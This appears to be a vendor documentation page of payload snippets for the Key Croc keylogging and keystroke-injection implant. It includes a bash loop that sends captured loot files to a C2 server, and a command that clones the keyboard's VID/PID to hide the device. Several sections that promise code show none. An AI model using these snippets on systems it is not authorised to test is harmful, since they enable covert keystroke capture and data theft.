Helpful Payload Snippets
EXFILTRATE MULTIPLE FILES USING C2EXFIL
The C2EXFIL tool, used to exfiltrate files to the configured Cloud C2 server, normally only handles one file at a time. Using a for loop, one may iterate over multiple files in a directory.
FILES="$LOOT_DIR/*.txt"
for f in $FILES; do C2EXFIL STRING $f Example; done
ADD AN ATTACKMODE WITH THE CLONED VID AND PID VALUES
By default the Key Croc boots into Attack Mode and clones the VID and PID values of the connected human interface device (HID Keyboard).
The VID and PID values are stored in the /tmp/vidpid directory and may be referenced in a payload using the following:
# Set ATTACKMODE to HID and Ethernet with cloned keyboard VID/PID
VENDOR=$(cat /tmp/vidpid | cut -d: -f1)
PRODUCT=$(cat /tmp/vidpid | cut -d: -f2)
ATTACKMODE HID ECM_ETHERNET VID_0X$VENDOR PID_0X$PRODUCT
CHECKING CURRENT MODE (ATTACK OR ARMING)
If the Key Croc is in the Attack Mode, rather than Arming Mode, the /tmp/attackmode file will exist.
Checking the current ATTACKMODE
The Key Croc stores its current ATTACKMODE in the file /tmp/mode. In addition to the ATTACKMODE options like HID or SERIAL, the /tmp/mode file reports all additional parameters such as VID and PID. These values may be passed to a new ATTACKMODE command using the bash command substitution feature. In this example, the output of "cat /tmp/mode", inside of the $() directive, is substituted.
GETTING THE TARGET HOSTNAME AND IP ADDRESS
While the ECM_ETHERNET and RNDIS_ETHERNET options for ATTACKMODE will display the Target IP address and hostname interactively, these values may also be used in a payload. To store these values in a variable, use the following:
Alternatively, these target values may be obtained from the following:
And the host IP (the IP address of the Key Croc itself) can be determined with the following:
However, unless changed from its default this value will be 172.16.64.1.
FRAMEWORK HELPERS
From firmware 1.3+, many functions of the Key Croc may be exposed by sourcing the croc_framework. The GET_HELPERS command provides an outline of their functions:
Last updated
Was this helpful?